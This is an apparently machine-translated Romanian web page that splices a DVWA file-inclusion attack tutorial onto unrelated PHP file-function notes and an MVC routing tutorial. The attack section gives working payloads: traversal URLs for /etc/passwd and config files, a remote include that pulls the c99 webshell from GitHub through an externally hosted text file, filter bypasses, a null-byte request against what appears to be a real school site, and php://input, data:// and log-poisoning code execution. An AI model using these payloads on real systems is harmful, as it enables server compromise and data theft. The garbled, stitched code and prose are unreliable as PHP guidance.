Fișier php de vizualizare fictivă. Fișier - Citește conținutul unui fișier și îl pune într-o matrice. Lucrul cu fișierele de pe server

Uneori, injectarea de fișiere se numește includere, uneori este considerată ca parte a injectării PHP (injecție de cod). Acesta din urmă nu este în întregime adevărat, deoarece vulnerabilitățile de injectare de fișiere nu sunt neapărat legate de execuția codului.

Vulnerabilitatea poate apărea atunci când se utilizează (în PHP) expresii precum:

  • cere_o dată,
  • include_o dată,
  • include,
  • cere

Fiecare dintre ele are mici nuanțe, dar ceea ce au în comun este că includ un fișier în program și îl execută. Aceste expresii pot cauza probleme dacă trec intrarea utilizatorului și programul nu o filtrează suficient.

Apropo, da, acestea sunt expresii, nu funcții. Nu este necesar să scrieți așa:

Require("somefile.php");

O variantă mai preferată este:

Necesită „somefile.php”;

Dar aceasta este o retragere care nu are nimic de-a face cu vulnerabilitatea.

Dacă fișierele sunt incluse folosind expresiile require_once, include_once, include, require, atunci putem spune că și injectarea de cod are loc în același timp. Cu toate acestea, este posibil să includeți fișiere fără a rula cod pe server. De exemplu, un site web își schimbă aspectul în funcție de tema aleasă de utilizator. Numele temelor corespunde cu numele fișierelor HTML care sunt citite pe server. În această situație, dacă cererea este formată în așa fel încât să citească un fișier care nu este destinat acestui lucru (de exemplu, un fișier PHP), atunci în loc de a executa comenzi, va fi afișat codul sursă PHP.

Utilizatorul poate specifica un fișier la distanță sau local ca fișier de includere. Pe baza acestui fapt, se disting două soiuri corespunzătoare:

  • injecție locală de fișiere
  • injectarea fișierelor de la distanță

Pericolul includerii de la distanță este executarea unui cod arbitrar pe un server vulnerabil. Acesta este de obicei folosit pentru infecțiile din spate.

Pericolul injectării locale de fișiere este că utilizatorul poate afișa conținutul fișierelor pe care nu are drepturi de vizualizare (coduri sursă de program, fișiere de sistem cu setări și parole). De asemenea, cu includerea locală, este posibil să se execute cod de la terți (de exemplu, pentru infecția cu ușă din spate), dacă un fișier cu cod rău intenționat a fost încărcat anterior pe server sau a fost utilizată metoda de otrăvire a jurnalului sau alte metode.

Includerea locală a fișierelor nu este mai puțin periculoasă decât introducerea fișierelor de la distanță.

Exploatarea încorporarii fișierelor locale

Puteți încerca mâna la această vulnerabilitate în Damn Vulnerable Web Application (DVWA). Folosesc Web Security Dojo, unde DVWA este deja instalat.

Să începem de la un nivel scăzut (securitate DVWA scăzută).

Să mergem la pagina de includere a fișierelor http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Dacă o valoare similară cu un nume de fișier (fișier1.php, fișier2.php) este transmisă ca argument unei variabile, atunci putem presupune că este utilizată o includere. Deoarece extensia de fișier este .php, fișierul este cel mai probabil executat pe server (adică este posibilă injectarea de cod) și nu doar afișat pentru afișare.

DVWA are o pagină http://localhost/dvwa/about.php, se află la două niveluri mai sus, să încercăm să o vedem astfel: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ despre.php

Da, există o vulnerabilitate de incluziune locală. La intrare, tranzițiile către directoarele superioare (../) nu sunt filtrate; lista fișierelor pentru includere nu este exhaustivă (în loc de fișierul sugerat*.php, am ales about.php).

Uneori sunt folosite fișiere incluse, dar adresele pot arăta, de exemplu, astfel: http://localhost/dvwa/vulnerabilities/fi/?page=file1. În acest caz, o extensie poate fi adăugată la script, iar scriptul încorporează un fișier al cărui nume este în final format în script. De obicei, o vulnerabilitate în această formă este dificil/imposibil de exploatat.

Adesea, oamenilor le place să ofere ceva de genul acesta ca exemplu de exploatare a includerii fișierelor locale:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

După cum putem vedea, a funcționat. Dar, deoarece browserele web ignoră /r/n (caracterele newline), trebuie să deschidem codul sursă pentru a face intrările lizibile:

Din păcate, nu există parole în fișierul /etc/passwd de mult timp.

De pe server puteți trage diverse fișiere de setări, certificate SSL, în principiu, orice fișier care este deschis spre citire de către toți utilizatorii sau pentru care serverul web are drepturi suficiente de citire:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

În ceea ce privește găzduirea partajată, uneori este posibil să se caute în folderele altor persoane (din nou, dacă drepturile utilizatorului sunt configurate incorect).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Sarcina este complicată de faptul că trebuie să cunoaștem calea către fișier.

Funcționarea injectării fișierelor de la distanță

PHP este un limbaj de programare foarte flexibil și prietenos cu dezvoltatorii. Comenzile de încorporare a fișierelor și altele recunosc perfect și procesează corect nu numai fișierele locale, ci și adresele URL...

Să încercăm să scriem adresa URL a site-ului https://site/ în loc de numele fișierului:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Uite ce interesant iese:

S-a întâmplat următoarele: interpretul PHP a primit o comandă pentru a include fișierul/site-ul https://site/. A deschis/descărcat adresa corespunzătoare și a trimis codul rezultat pentru a fi executat ca program PHP. Deoarece PHP execută doar codul înconjurat de etichetele corespunzătoare (în acest caz nu a existat deloc cod) și scoate totul așa cum este, întreaga pagină a site-ului este scoasă așa cum este.

Desigur, această vulnerabilitate este interesantă pentru noi nu pentru că putem vizualiza alte site-uri printr-un singur site.

  • Generarea/găsirea codului sursă backdoor
  • Creăm un fișier care este corect din punct de vedere PHP pentru execuție pe server, care salvează codul sursă backdoor într-un fișier PHP
  • Salvați codul primit într-un fișier TEXT
  • Încărcați acest fișier text pe un server controlat
  • Ne salvăm ușa din spate pe un server vulnerabil folosind o includere de fișiere de la distanță
  • Am evidențiat cuvântul „text” pentru că pe serverul aflat sub controlul nostru ar trebui să existe un fișier text care să nu fie executat pe serverul nostru. Serverul nostru trebuie doar să-și arate conținutul.

    Pentru a crea o ușă în spate, puteți utiliza Weevely, PhpSploit sau puteți lua soluții gata făcute. Să folosim unul gata făcut de data aceasta.

    Voi atribui variabilei $backdoor codul sursă al backdoor-ului, pe care îl descarc de pe Github. Apoi folosesc funcția file_put_contents pentru a salva codul sursă rezultat în fișierul c99unlimited.php.

    Codul pe care l-am plasat într-un fișier text

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); ecou „terminat!”;

    Este disponibil la http://miloserdov.org/sec.txt

    Acum, folosind o includere de la distanță, încărcăm o ușă din spate pe un server vulnerabil.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Atenție la inscripția făcută!, este afișată de script, adică. probabil totul s-a rezolvat.

    Deoarece scriptul care include fișierele se află în directorul http://localhost/dvwa/vulnerabilities/fi/, iar noul nostru fișier cu backdoor ar fi trebuit să fie salvat cu numele c99unlimited.php, adresa completă a backdoor-ului pe serverul vulnerabil ar trebui să fie: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Verificăm:

    Grozav, acum avem toate funcțiile de care ar putea avea nevoie un administrator de server web... și cei care au acces la serverul lor.

    Ocoliți filtrarea când includeți fișiere local

    Să trecem la nivelul mediu de securitate (configurabil în DVWA Security).

    Dacă ne uităm la codul sursă (butonul View Source):

    apoi vom vedea că caracterele ../ sunt acum filtrate. Acest lucru ne va împiedica să ne mutăm într-un director mai mare decât cel în care rulează scriptul vulnerabil.

    Acestea. nimic nu va funcționa așa:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Să ne gândim cum funcționează filtrarea în acest caz? Să spunem că cuvântul „rău” este filtrat, apoi o linie ca

    bine rău bine

    după filtrare va arăta astfel:

    bine bine

    Și dacă introduceți o linie ca aceasta

    rau rau xo

    apoi după filtrare („răul” va fi eliminat) se va dovedi

    Prost

    În ../ introducem din nou ../ la mijloc, se dovedește ..././

    Să încercăm această adresă http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    A mers!

    O altă soluție ar putea fi codificarea caracterelor în codificare hexazecimală, un exemplu al acestei linii:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    „../” poate fi înlocuit cu „%2E%2E%2f”.

    Se practică și codificarea dublă hexadecimală, în care „../” este înlocuit cu „%252E%252E%252F”

    Includerea locală a fișierelor la adăugarea unei extensii într-un script

    Dacă codul care include fișierele arată astfel:

    Acestea. Dacă la orice intrare de utilizator se adaugă un .php sau o altă extensie, acest lucru nu permite ca cererea să fie formată în așa fel încât să efectueze un atac.

    Există mai multe tehnici care sunt concepute pentru a elimina extensia, dar pot fi considerate învechite, deoarece funcționează pe PHP 5.3 și chiar și atunci nu toate versiunile. Cu toate acestea, administratorii de servere web sunt conservatori din punct de vedere clinic și preferă să nu atingă nimic dacă funcționează. Acestea. Există șansa de a întâlni un server cu o versiune foarte veche de PHP și ar trebui să fiți conștienți de aceste tehnici.

    Folosind octetul nul %00 (octetul nul)

    Un octet nul este adăugat la sfârșitul solicitării pentru a ignora extensia:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    A doua metodă se numește atac de tăiere a căii. Concluzia este că PHP trunchiază căile mai lungi de 4096 de octeți. În acest caz, PHP deschide fișierul corect, chiar dacă există bare oblice și puncte la sfârșitul numelui său. Dacă treceți ca parametru ceva de genul?param1=../../../../etc/passwd/./././././ (unde ./ se repetă de multe mii de ori), atunci fișierul final împreună cu extensia (pe care scriptul a adăugat-o, drept urmare numele fișierului a devenit include/../../../../etc/passwd/./././././ .php) vor fi eliminate. Și numele fișierului va fi includes/../../../../etc/passwd/./././././. Și deoarece PHP nu este confundat cu barele oblice și ./ la sfârșitul fișierului, pur și simplu le ignoră, în total PHP va deschide fișierul de-a lungul căii include/../../../../etc/ passwd.

    Ocolirea filtrarii pentru injectarea fișierelor de la distanță

    După cum am văzut deja în codul sursă, nivelul de securitate mediu filtrează și http:// și https://.

    Acum http://localhost/dvwa/vulnerabilities/fi/?. Vom folosi exact aceeași tehnică ca și pentru a ocoli filtrarea cu includere locală. Solicitare generată:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    Și, de asemenea, rețineți că nu este filtrat, de exemplu ftp, i.e. Această opțiune ar funcționa fără niciun truc:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    Obținerea codului sursă al scripturilor PHP la includerea fișierelor din php://filter

    Acest truc nu necesită includerea fișierelor de la distanță. Se va folosi un fel de meta wrapper php://filter.

    Să presupunem că vrem să vedem codul sursă al fișierului file1.php, atunci pentru situația noastră cererea va fi compusă astfel:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Acordați atenție șirului fără sens de litere și numere - acesta este codul sursă al fișierului file1.php în codificare base64. Deoarece este base64, sunt acceptate și fișierele binare.

    Să decodificăm fișierul:

    Executarea codului de la distanță cu php://input

    Acest lucru nu este ca încorporarea fișierelor și, din nou, nu necesită încărcarea fișierelor.

    Pentru a ajuta, voi folosi extensia FireFox, o puteți folosi și orice alt program (de exemplu, curl) care poate transfera date folosind metoda POST.

    php://input are acces la corpul brut al cererii HTTP, pentru a înțelege ce face include("php://input"), deschideți pagina

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    Și în corpul cererii, trimiteți codul PHP corect (de exemplu, folosind metoda POST). Acest lucru vă va permite să efectuați orice funcție permisă pe serverul de la distanță!

    Executarea codului de la distanță cu data://

    În plus, PHP acceptă schema URL data://. Puteți plasa codul direct în parametrul GET! Următorul test nu necesită instrumente speciale, doar un browser obișnuit pentru a efectua atacul.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Unele firewall-uri de aplicații web pot observa un șir suspect într-o adresă URL și pot bloca cererea rău intenționată. Dar există o modalitate de a cripta șirul cu cel puțin codare base64:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Executați comenzi arbitrare din /proc/self/environ

    /proc/self/environ este stocarea variabilei procesului. Dacă procesul Apache are drepturi suficiente pentru a-l accesa, atunci când deschideți o pagină web care conține o includere cu o adresă URL similară,

    www.website.com/view.php?page=../../../../../proc/self/environ

    va scoate ceva de genul

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx,6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Acordați atenție HTTP_USER_AGENT. În schimb, puteți înlocui codul PHP corect, care va fi executat pe un server la distanță.

    Gravarea și injectarea jurnalelor la includerea fișierelor la nivel local

    Din păcate, această metodă nu mai funcționează pe versiunile recente de Apache.

    Esența sa constă în faptul că codul atacatorului este injectat în jurnalele serverului web. Acest lucru se poate face prin înlocuirea User-Agent sau chiar pur și simplu trecându-l într-un parametru GET.

    Injectarea statică a unui fișier de la distanță

    Exemple de statice includ:

    Puteți folosi o includere statică în situații foarte exotice. Pentru a injecta cod rău intenționat, este necesar să efectuați un atac man-in-the-middle între două servere: unul găzduiește aplicația web folosind includerea, iar al doilea găzduiește fișierul folosit pentru includere.

    PHP file_exists("test.txt")//Fișierul există? filesize("test.txt");//Aflați dimensiunea fișierului //Se returnează marca temporală: fileatime("test.txt");//Data ultimului acces la fișier //data ("d M Y" , $atime); filemtime("test.txt");//Data modificării fișierului //data("d M Y", $mtime); filecttime("test.txt");//Data creării fișierului (Windows) //date("d M Y", $ctime); Fișiere: moduri de operare PHP resource fopen (string filename, string mode) // resource - returnează un pointer către fișier în caz de succes, sau FALSE în caz de eroare Mod de operare Descrierer r+ w w+ A a+ b
    deschide fișierul numai în citire;
    deschideți fișierul pentru citire și scriere;
    deschideți fișierul doar pentru scriere. Dacă există, atunci conținutul curent al fișierului este distrus. Poziția curentă este setată la început;
    deschideți fișierul pentru citire și scriere. Dacă există, atunci conținutul curent al fișierului este distrus. Poziția curentă este setată la început;
    deschide fișierul pentru scriere. Poziția curentă este setată la sfârșitul fișierului;
    deschideți fișierul pentru citire și scriere. Poziția curentă este setată la sfârșitul fișierului;
    procesează fișierul binar. Acest indicator este necesar atunci când lucrați cu fișiere binare pe Windows.
    Deschiderea si inchiderea fisierelor in PHP PHP $fi = fopen("test.html", "w+") sau die("Eroare"); //Exemple $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Închide fclose($fi) Citirea fișierelor în PHP PHP //Citirea fișierului fread(int fi, int length) $str = fread($fi, 5); // Citiți primele 5 caractere echo $str; // deoarece cursorul s-a mutat $str = fread($fi, 12); // Citiți următoarele 12 caractere echo $str; fgets(int fi[, int lungime]) // Citiți o linie dintr-un fișier fgetss(int fi, int lungime [, șir admisibil]) // Citiți o linie dintr-un fișier și eliminați etichetele HTML // șir admisibil - etichete care trebuie lăsat fgetc(int fi) //Citește un caracter dintr-un fișier

    Inițial, scrierea va avea loc la începutul fișierului, prin suprascrierea datelor existente, dacă există. Prin urmare, dacă trebuie să scrieți ceva la sfârșitul fișierului, trebuie să setați modul de citire adecvat, de exemplu, a+ .

    Manipularea cursorului în fișierele PHP PHP int fseek(int fi, int offset [, int unde]) //Setarea cursorului // int fi - pointer către fișier //offset - numărul de caractere de mutat. //de unde: //SEEK_SET - mișcarea începe de la începutul fișierului; //SEEK_CUR - mișcarea începe de la poziția curentă; //SEEK_END - mișcarea începe de la sfârșitul fișierului. fseek($fi, -10, SEEK_END); //Citește ultimele 10 caractere $s = fread($fi, 10); $pos = ftell($fi); // Aflați poziția curentă rewind($f) // resetați cursorul bool feof($f) // sfârșitul fișierului Lucru direct cu fișiere (date) în fișierul PHP PHP array(string filename) // Obțineți conținutul a fișierului sub formă de matrice // O altă opțiune pentru lucrul direct cu datele file_get_contents(string filename) //Citire (obține întregul fișier într-o singură linie) //Scriere în fișier (inițial suprascris) file_put_contents(string filename , date mixte[,int flag]); //FILE_APPEND // Scrieți la sfârșitul fișierului: file_put_contents("test.txt", "data", FILE_APPEND); //Dacă scrieți o matrice, $array = array("I", "live"); file_put_contents("test.txt",$array); //apoi obținem „Ilive” Gestionarea fișierelor în php PHP copy(sursă șir, destinație șir); // Copierea fișierului rename(str nume vechi, str nume nou); // Redenumiți fișierul unlink(string filename); // Ștergerea unui fișier Încărcarea fișierelor pe serverul PHP // PHP.ini setări file_uploads (on|off) // permițând sau dezactivând încărcările fișierelor upload_tmp_dir // folder temporar pentru fișierele încărcate. în mod implicit, folderul temporar upload_max_filesize (implicit = 2 Mb) // max. dimensiunea fișierului încărcat post_max_size // dimensiunea totală a formularului trimis (trebuie să fie mai mare decât upload_max_filesize) //Încărcare HTML simplă Lucrăm cu fișiere pe serverul PHP //Primim date $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["nume"]; //Muta fisierul move_uploaded_file($tmp, nume); move_uploaded_file($tmp, „încărcare/”.nume); // redirecționează fișierul în folderul de încărcare // în raport cu fișierul curent // Ce este în matricea $_FILES $_FILES[„userfile”][”name”] // numele fișierului, de exemplu, test.html $_FILES[ "userfile"][" tmp_name"] // nume de fișier temporar (cale) $_FILES["userfile"]["size"] // dimensiune fișier $_FILES["userfile"]["tip"] // tip fișier $ _FILES["userfile"] ["error"] // 0 - fără erori, număr - da Mulți oameni încep să scrie un proiect pentru a lucra cu o singură sarcină, fără a implica faptul că acesta poate deveni un sistem de management cu mai mulți utilizatori, de exemplu , conținut sau, Doamne ferește, producție. Și totul pare grozav și cool, totul funcționează, până începi să înțelegi că codul care este scris este format în întregime din cârje și hard code. Codul este amestecat cu aspect, interogări și cârje, uneori chiar ilizibile. Apare o problemă stringentă: atunci când adăugați noi funcții, trebuie să modificați acest cod pentru o perioadă foarte lungă de timp, amintindu-vă „ce a fost scris acolo?” și blestemă-te în trecut.

    Poate că ați auzit chiar despre modele de design și chiar ați răsfoit aceste cărți minunate:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides „Tehnici de proiectare orientate pe obiecte. Modele de design";
    • M. Fowler „Arhitectura aplicațiilor software pentru întreprinderi”.
    Și mulți, nedescurați de uriașele manuale și documentație, au încercat să studieze oricare dintre cadrele moderne și, confruntați cu complexitatea înțelegerii (datorită prezenței multor concepte arhitecturale legate inteligent între ele), au amânat studiul și utilizarea unelte moderne „pe răgaz”.

    Acest articol va fi util în primul rând pentru începători. În orice caz, sper că în câteva ore vă veți putea face o idee despre implementarea modelului MVC, care stă la baza tuturor cadrelor web moderne și, de asemenea, să obțineți „hrană” pentru o reflecție ulterioară despre „cum să Fă-o." La sfârșitul articolului există o selecție de link-uri utile care vă vor ajuta, de asemenea, să înțelegeți în ce constau cadrele web (pe lângă MVC) și cum funcționează acestea.

    Este puțin probabil ca programatorii PHP experimentați să găsească ceva nou pentru ei înșiși în acest articol, dar comentariile și comentariile lor asupra textului principal ar fi de mare ajutor! Deoarece Fără teorie, practica este imposibilă, iar fără practică, teoria este inutilă, atunci mai întâi va fi puțină teorie și apoi vom trece la practică. Dacă sunteți deja familiarizat cu conceptul MVC, puteți sări peste secțiunea teorie și să treceți direct la practică.

    1. Teorie Modelul MVC descrie o modalitate simplă de a structura o aplicație, al cărei scop este separarea logicii de afaceri de interfața cu utilizatorul. Ca rezultat, aplicația este mai ușor de scalat, testat, întreținut și, bineînțeles, implementat.

    Să ne uităm la diagrama conceptuală a modelului MVC (în opinia mea, aceasta este cea mai de succes diagramă pe care am văzut-o):

    În arhitectura MVC, modelul oferă datele și regulile logicii de afaceri, vizualizarea este responsabilă pentru interfața cu utilizatorul, iar controlerul asigură interacțiunea între model și vizualizare.

    Un flux tipic al unei aplicații MVC poate fi descris după cum urmează:

  • Când un utilizator vizitează o resursă web, scriptul de inițializare creează o instanță a aplicației și o lansează pentru execuție.
    Aceasta afișează o vedere a, să zicem, pagina principală a site-ului.
  • Aplicația primește o solicitare de la utilizator și determină controlerul și acțiunea solicitate. În cazul paginii principale, acțiunea implicită este efectuată ( index).
  • Aplicația instanțiază controlerul și rulează metoda de acțiune,
    care, de exemplu, conține apeluri de model care citesc informații din baza de date.
  • După aceasta, acțiunea creează o vizualizare cu datele obținute din model și afișează rezultatul utilizatorului.
  • Model - conține logica de business a aplicației și include metode de preluare (acestea pot fi metode ORM), procesare (de exemplu, reguli de validare) și furnizare de date specifice, ceea ce o face adesea foarte groasă, ceea ce este destul de normal.
    Modelul nu trebuie să interacționeze direct cu utilizatorul. Toate variabilele legate de cererea utilizatorului trebuie procesate în controler.
    Modelul nu trebuie să genereze HTML sau alt cod de afișare care se poate modifica în funcție de nevoile utilizatorului. Un astfel de cod ar trebui procesat în vizualizări.
    Același model, de exemplu: modelul de autentificare a utilizatorului poate fi utilizat atât în ​​partea de utilizator, cât și în partea administrativă a aplicației. În acest caz, puteți muta codul general într-o clasă separată și puteți moșteni de la acesta, definind metode specifice sub-aplicației în descendenții săi.

    Vizualizare - folosit pentru a specifica afișarea externă a datelor primite de la controler și model.
    Vizualizările conțin markup HTML și mici inserții de cod PHP pentru a parcurge, formata și afișa datele.
    Nu ar trebui să acceseze direct baza de date. Asta ar trebui să facă modelele.
    Nu ar trebui să funcționeze cu datele obținute dintr-o solicitare a utilizatorului. Această sarcină trebuie îndeplinită de controlor.
    Poate accesa direct proprietățile și metodele unui controler sau modele pentru a obține date gata de ieșire.
    Vizualizările sunt de obicei împărțite într-un șablon comun, care conține un marcaj comun tuturor paginilor (de exemplu, un antet și un subsol) și părți ale șablonului care sunt utilizate pentru a afișa datele de ieșire din model sau pentru a afișa formularele de introducere a datelor.

    Controlerul este lipiciul care conectează modele, vederi și alte componente într-o aplicație de lucru. Operatorul este responsabil pentru procesarea cererilor utilizatorilor. Controlerul nu trebuie să conțină interogări SQL. Este mai bine să le păstrați în modele. Controlerul nu trebuie să conțină HTML sau alte markupuri. Merită să-l aduceți la vedere.
    Într-o aplicație MVC bine proiectată, controlerele sunt de obicei foarte subțiri și conțin doar câteva zeci de linii de cod. Nu același lucru se poate spune despre Stupid Fat Controllers (SFC) în CMS Joomla. Logica controlerului este destul de tipică și cea mai mare parte este transferată la clasele de bază.
    Modelele, dimpotrivă, sunt foarte groase și conțin cea mai mare parte a codului legat de prelucrarea datelor, deoarece structura datelor și logica de afaceri conținute în ele sunt de obicei destul de specifice unei anumite aplicații.

    1.1. Controler frontal și controler de pagină În cele mai multe cazuri, interacțiunea utilizatorului cu o aplicație web are loc făcând clic pe linkuri. Uită-te acum la bara de adrese a browserului tău - ai primit acest text de la acest link. Alte link-uri, cum ar fi cele din partea dreaptă a acestei pagini, vă vor oferi conținut diferit. Astfel, linkul reprezintă o comandă specifică aplicației web.

    Sper că ați observat deja că diferite site-uri pot avea formate complet diferite pentru construirea barei de adrese. Fiecare format poate afișa arhitectura unei aplicații web. Deși nu este întotdeauna cazul, în majoritatea cazurilor este un fapt clar.

    Să luăm în considerare două opțiuni pentru bara de adrese, care afișează un text și un profil de utilizator.

    Prima varianta:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Aici, fiecare script este responsabil pentru executarea unei anumite comenzi.

    A doua varianta:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • Și aici toate apelurile au loc într-un singur script index.php.

    Puteți vedea abordarea multi-touchpoint pe forumurile phpBB. Forumul este vizualizat prin scriptul viewforum.php, subiectul este vizualizat prin viewtopic.php etc. A doua abordare, accesată printr-un singur fișier script fizic, poate fi văzută în CMS MODX-ul meu preferat, unde toate apelurile trec prin index.php.

    Aceste două abordări sunt complet diferite. Prima este tipică pentru modelul Page Controller, iar a doua abordare este implementată de modelul Front Controller. Controlerul de pagină este bun pentru site-uri cu o logică destul de simplă. La rândul său, controlorul de cereri consolidează toate activitățile de procesare a cererilor într-un singur loc, ceea ce îi oferă capabilități suplimentare care vă pot permite să implementați sarcini mai complexe decât sunt rezolvate de obicei de controlerul de pagină. Nu voi intra in detalii despre implementarea controller-ului de pagina, ci voi spune doar ca in partea practica va fi controlerul de solicitare (ceva asemanator) cel care va fi dezvoltat.

    1.2. Rutarea URL Rutarea URL vă permite să configurați aplicația dvs. să accepte solicitări de la URL-uri care nu corespund fișierelor aplicației reale și să utilizați CNC-uri semnificative din punct de vedere semantic pentru utilizatori și preferate pentru optimizarea motoarelor de căutare.

    De exemplu, pentru o pagină obișnuită care afișează un formular de contact, adresa URL poate arăta astfel:
    http://www.example.com/contacts.php?action=feedback

    Cod de procesare aproximativ în acest caz:
    comutați ($_GET ["acțiune" ]) (case "despre": require_once ("about.php"); // "Despre noi" ruptură de pagină; case "contacts": require_once ("contacts.php"); // pauză de pagină „Contacte”; caz „feedback”: require_once („feedback.php”); // pauză de pagină „Feedback”; implicit: require_once („page404.php”); // pauză de pagină „404” ; )
    Cred că aproape toată lumea a făcut asta înainte.

    Folosind un motor de rutare URL, vă puteți configura aplicația să accepte astfel de solicitări pentru a afișa aceleași informații:
    http://www.example.com/contacts/feedback

    Aici contactele reprezintă controlerul, iar feedbackul este metoda controlerului de contacte care afișează formularul de feedback etc. Vom reveni asupra acestei probleme în partea practică.

    De asemenea, merită să știți că multe routere ale cadrelor web vă permit să creați rute URL personalizate (specificați ce înseamnă fiecare parte a URL-ului) și reguli pentru procesarea acestora.
    Acum avem suficiente cunoștințe teoretice pentru a trece la practică.

    2. Exersați Mai întâi, să creăm următoarea structură de fișiere și foldere:


    Privind în viitor, voi spune că clasele de bază Model, View și Controller vor fi stocate în folderul de bază.
    Copiii lor vor fi stocați în directoarele de controlere, modele și vizualizări. Fișierul index.php este punctul de intrare în aplicație. Fișierul bootstrap.php inițiază încărcarea aplicației, conectând toate modulele necesare etc.

    Vom merge secvenţial; Să deschidem fișierul index.php și să-l completăm cu următorul cod:
    ini_set("erori_afișare" , 1 ); require_once "application/bootstrap.php" ;
    Nu ar trebui să fie întrebări aici.

    Apoi, să mergem imediat la fișierul bootstrap.php:
    require_once "core/model.php" ; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; Traseu::start(); //porniți routerul
    Primele trei linii vor include fișiere kernel inexistente în prezent. Ultimele linii includ fișierul cu clasa de router și îl lansează pentru execuție apelând metoda static start.

    2.1. Implementarea unui router URL Deocamdată, să ne abatem de la implementarea modelului MVC și să ne concentrăm pe rutare. Primul pas pe care trebuie să-l facem este să scriem următorul cod în .htaccess:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Acest cod va redirecționa toată procesarea paginii către index.php, care este ceea ce avem nevoie. Vă amintiți că în prima parte am vorbit despre Front Controller?!

    Vom plasa rutarea într-un fișier separat route.php în directorul de bază. În acest fișier vom descrie clasa Route, care va rula metode de controler, care la rândul lor vor genera vizualizarea paginii.

    Conținutul fișierului route.php

    clasa Route (funcția statică start () ( // controler și acțiune implicită $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // obține numele controlerului dacă (!empty ($rute )) ( $nume_controller = $rute ; ) // obține numele acțiunii dacă (!gol ($rute )) ( $nume_acțiune = $rute ; ) // adaugă prefixe $nume_model = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // conectați fișierul cu clasa de model (poate să nu existe un fișier model) $model_file = strtolower ($nume_model). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) (include "application/models/" .$model_file ; ) // conectați fișierul cu clasa de controler $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) (include "application/controllers/" .$controller_file ; ) altfel ( /* ar fi corect să aruncăm o excepție aici, dar pentru a simplifica lucrurile, vom redirecționa imediat către pagina 404 */ Route::ErrorPage404(); ) // creăm un controler $controller = new $controller_name ; $action = $action_name ; if (method_exists($controller , $action )) ( // apelează acțiunea controlerului $controller ->$action (); ) else ( // aici ar fi, de asemenea, mai înțelept să aruncăm o excepție Route::ErrorPage404(); ) ) funcția ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Nu a fost găsit" ); header("Stare: 404 Negăsit" ) ; antet ("Locație:" .$gazdă ."404" ); ) )


    Observ că clasa implementează o logică foarte simplificată (în ciuda codului voluminos) și poate avea chiar probleme de securitate. Acest lucru a fost făcut intenționat, pentru că... scrierea unei clase de rutare cu drepturi depline merită cel puțin un articol separat. Să ne uităm la punctele principale...

    Elementul de matrice globală $_SERVER["REQUEST_URI"] conține adresa completă la care a contactat utilizatorul.
    De exemplu: example.ru/contacts/feedback

    Folosind funcția exploda Adresa este împărțită în componente. Ca rezultat, obținem numele controlerului, pentru exemplul dat, acesta este controler contacteși numele acțiunii, în cazul nostru - părere.

